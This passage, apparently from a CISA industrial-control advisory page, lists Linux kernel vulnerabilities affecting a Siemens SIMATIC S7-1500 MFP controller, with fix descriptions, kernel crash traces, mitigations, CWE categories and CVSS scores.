<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68787</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netrom: Fix memory leak in nr_sendmsg() syzbot reported a memory leak [1]. When function sock_alloc_send_skb() return NULL in nr_output(), the original skb is not freed, which was allocated in nr_sendmsg(). Fix this by freeing it before return. [1] BUG: memory leak unreferenced object 0xffff888129f35500 (size 240): comm "syz.0.17", pid 6119, jiffies 4294944652 hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 10 52 28 81 88 ff ff ..........R(.... backtrace (crc 1456a3e4): kmemleak_alloc_recursive include/linux/kmemleak.h:44 [inline] slab_post_alloc_hook mm/slub.c:4983 [inline] slab_alloc_node mm/slub.c:5288 [inline] kmem_cache_alloc_node_noprof+0x36f/0x5e0 mm/slub.c:5340 __alloc_skb+0x203/0x240 net/core/skbuff.c:660 alloc_skb include/linux/skbuff.h:1383 [inline] alloc_skb_with_frags+0x69/0x3f0 net/core/skbuff.c:6671 sock_alloc_send_pskb+0x379/0x3e0 net/core/sock.c:2965 sock_alloc_send_skb include/net/sock.h:1859 [inline] nr_sendmsg+0x287/0x450 net/netrom/af_netrom.c:1105 sock_sendmsg_nosec net/socket.c:727 [inline] __sock_sendmsg net/socket.c:742 [inline] sock_write_iter+0x293/0x2a0 net/socket.c:1195 new_sync_write fs/read_write.c:593 [inline] vfs_write+0x45d/0x710 fs/read_write.c:686 ksys_write+0x143/0x170 fs/read_write.c:738 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xa4/0xfa0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68787">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68788</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fsnotify: do not generate ACCESS/MODIFY events on child for special files inotify/fanotify do not allow users with no read access to a file to subscribe to events (e.g. IN_ACCESS/IN_MODIFY), but they do allow the same user to subscribe for watching events on children when the user has access to the parent directory (e.g. /dev). Users with no read access to a file but with read access to its parent directory can still stat the file and see if it was accessed/modified via atime/mtime change. The same is not true for special files (e.g. /dev/null). Users will not generally observe atime/mtime changes when other users read/write to special files, only when someone sets atime/mtime via utimensat(). Align fsnotify events with this stat behavior and do not generate ACCESS/MODIFY events to parent watchers on read/write of special files. The events are still generated to parent watchers on utimensat(). This closes some side-channels that could be possibly used for information exfiltration [1]. [1] https://snee.la/pdf/pubs/file-notification-attacks.pdf</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68788">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/360.html">CWE-360 Trust of System Event Data</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68798</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: perf/x86/amd: Check event before enable to avoid GPF On AMD machines cpuc-&gt;events[idx] can become NULL in a subtle race condition with NMI-&gt;throttle-&gt;x86_pmu_stop(). Check event for NULL in amd_pmu_enable_all() before enable to avoid a GPF. This appears to be an AMD only issue. Syzkaller reported a GPF in amd_pmu_enable_all. INFO: NMI handler (perf_event_nmi_handler) took too long to run: 13.143 msecs Oops: general protection fault, probably for non-canonical address 0xdffffc0000000034: 0000 PREEMPT SMP KASAN NOPTI KASAN: null-ptr-deref in range [0x00000000000001a0-0x00000000000001a7] CPU: 0 UID: 0 PID: 328415 Comm: repro_36674776 Not tainted 6.12.0-rc1-syzk RIP: 0010:x86_pmu_enable_event (arch/x86/events/perf_event.h:1195 arch/x86/events/core.c:1430) RSP: 0018:ffff888118009d60 EFLAGS: 00010012 RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000000 RDX: 0000000000000034 RSI: 0000000000000000 RDI: 00000000000001a0 RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000002 R13: ffff88811802a440 R14: ffff88811802a240 R15: ffff8881132d8601 FS: 00007f097dfaa700(0000) GS:ffff888118000000(0000) GS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00000000200001c0 CR3: 0000000103d56000 CR4: 00000000000006f0 Call Trace: amd_pmu_enable_all (arch/x86/events/amd/core.c:760 (discriminator 2)) x86_pmu_enable (arch/x86/events/core.c:1360) event_sched_out (kernel/events/core.c:1191 kernel/events/core.c:1186 kernel/events/core.c:2346) __perf_remove_from_context (kernel/events/core.c:2435) event_function (kernel/events/core.c:259) remote_function (kernel/events/core.c:92 (discriminator 1) kernel/events/core.c:72 (discriminator 1)) __flush_smp_call_function_queue (./arch/x86/include/asm/jump_label.h:27 ./include/linux/jump_label.h:207 ./include/trace/events/csd.h:64 kernel/smp.c:135 kernel/smp.c:540) __sysvec_call_function_single (./arch/x86/include/asm/jump_label.h:27 ./include/linux/jump_label.h:207 ./arch/x86/include/asm/trace/irq_vectors.h:99 arch/x86/kernel/smp.c:272) sysvec_call_function_single (arch/x86/kernel/smp.c:266 (discriminator 47) arch/x86/kernel/smp.c:266 (discriminator 47))</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68798">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68803</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: NFSD: NFSv4 file creation neglects setting ACL An NFSv4 client that sets an ACL with a named principal during file creation retrieves the ACL afterwards, and finds that it is only a default ACL (based on the mode bits) and not the ACL that was requested during file creation. This violates RFC 8881 section 6.4.1.3: "the ACL attribute is set as given". The issue occurs in nfsd_create_setattr(), which calls nfsd_attrs_valid() to determine whether to call nfsd_setattr(). However, nfsd_attrs_valid() checks only for iattr changes and security labels, but not POSIX ACLs. When only an ACL is present, the function returns false, nfsd_setattr() is skipped, and the POSIX ACL is never applied to the inode. Subsequently, when the client retrieves the ACL, the server finds no POSIX ACL on the inode and returns one generated from the file's mode bits rather than returning the originally-specified ACL.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68803">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68814</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: io_uring: fix filename leak in __io_openat_prep() __io_openat_prep() allocates a struct filename using getname(). However, for the condition of the file being installed in the fixed file table as well as having O_CLOEXEC flag set, the function returns early. At that point, the request doesn't have REQ_F_NEED_CLEANUP flag set. Due to this, the memory for the newly allocated struct filename is not cleaned up, causing a memory leak. Fix this by setting the REQ_F_NEED_CLEANUP for the request just after the successful getname() call, so that when the request is torn down, the filename will be cleaned up, along with other resources needing cleanup.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68814">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68816</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/mlx5: fw_tracer, Validate format string parameters Add validation for format string parameters in the firmware tracer to prevent potential security vulnerabilities and crashes from malformed format strings received from firmware. The firmware tracer receives format strings from the device firmware and uses them to format trace messages. Without proper validation, bad firmware could provide format strings with invalid format specifiers (e.g., %s, %p, %n) that could lead to crashes, or other undefined behavior. Add mlx5_tracer_validate_params() to validate that all format specifiers in trace strings are limited to safe integer/hex formats (%x, %d, %i, %u, %llx, %lx, etc.). Reject strings containing other format types that could be used to access arbitrary memory or cause crashes. Invalid format strings are added to the trace output for visibility with "BAD_FORMAT: " prefix.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68816">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/134.html">CWE-134 Use of Externally-Controlled Format String</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:P/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:P/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68818</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: Revert "scsi: qla2xxx: Perform lockless command completion in abort path" This reverts commit 0367076b0817d5c75dfb83001ce7ce5c64d803a9. The commit being reverted added code to __qla2x00_abort_all_cmds() to call sp-&gt;done() without holding a spinlock. But unlike the older code below it, this new code failed to check sp-&gt;cmd_type and just assumed TYPE_SRB, which results in a jump to an invalid pointer in target-mode with TYPE_TGT_CMD: qla2xxx [0000:65:00.0]-d034:8: qla24xx_do_nack_work create sess success 0000000009f7a79b qla2xxx [0000:65:00.0]-5003:8: ISP System Error - mbx1=1ff5h mbx2=10h mbx3=0h mbx4=0h mbx5=191h mbx6=0h mbx7=0h. qla2xxx [0000:65:00.0]-d01e:8: -&gt; fwdump no buffer qla2xxx [0000:65:00.0]-f03a:8: qla_target(0): System error async event 0x8002 occurred qla2xxx [0000:65:00.0]-00af:8: Performing ISP error recovery - ha=0000000058183fda. BUG: kernel NULL pointer dereference, address: 0000000000000000 PF: supervisor instruction fetch in kernel mode PF: error_code(0x0010) - not-present page PGD 0 P4D 0 Oops: 0010 [#1] SMP CPU: 2 PID: 9446 Comm: qla2xxx_8_dpc Tainted: G O 6.1.133 #1 Hardware name: Supermicro Super Server/X11SPL-F, BIOS 4.2 12/15/2023 RIP: 0010:0x0 Code: Unable to access opcode bytes at 0xffffffffffffffd6. RSP: 0018:ffffc90001f93dc8 EFLAGS: 00010206 RAX: 0000000000000282 RBX: 0000000000000355 RCX: ffff88810d16a000 RDX: ffff88810dbadaa8 RSI: 0000000000080000 RDI: ffff888169dc38c0 RBP: ffff888169dc38c0 R08: 0000000000000001 R09: 0000000000000045 R10: ffffffffa034bdf0 R11: 0000000000000000 R12: ffff88810800bb40 R13: 0000000000001aa8 R14: ffff888100136610 R15: ffff8881070f7400 FS: 0000000000000000(0000) GS:ffff88bf80080000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffffffffffffd6 CR3: 000000010c8ff006 CR4: 00000000003706e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: ? __die+0x4d/0x8b ? page_fault_oops+0x91/0x180 ? trace_buffer_unlock_commit_regs+0x38/0x1a0 ? exc_page_fault+0x391/0x5e0 ? asm_exc_page_fault+0x22/0x30 __qla2x00_abort_all_cmds+0xcb/0x3e0 [qla2xxx_scst] qla2x00_abort_all_cmds+0x50/0x70 [qla2xxx_scst] qla2x00_abort_isp_cleanup+0x3b7/0x4b0 [qla2xxx_scst] qla2x00_abort_isp+0xfd/0x860 [qla2xxx_scst] qla2x00_do_dpc+0x581/0xa40 [qla2xxx_scst] kthread+0xa8/0xd0 Then commit 4475afa2646d ("scsi: qla2xxx: Complete command early within lock") added the spinlock back, because not having the lock caused a race and a crash. But qla2x00_abort_srb() in the switch below already checks for qla2x00_chip_is_down() and handles it the same way, so the code above the switch is now redundant and still buggy in target-mode. Remove it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68818">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68820</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: xattr: fix null pointer deref in ext4_raw_inode() If ext4_get_inode_loc() fails (e.g. if it returns -EFSCORRUPTED), iloc.bh will remain set to NULL. Since ext4_xattr_inode_dec_ref_all() lacks error checking, this will lead to a null pointer dereference in ext4_raw_inode(), called right after ext4_get_inode_loc(). Found by Linux Verification Center (linuxtesting.org) with SVACE.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68820">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/252.html">CWE-252 Unchecked Return Value</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71064</a></h3>
<div class="csaf-accordion-content">
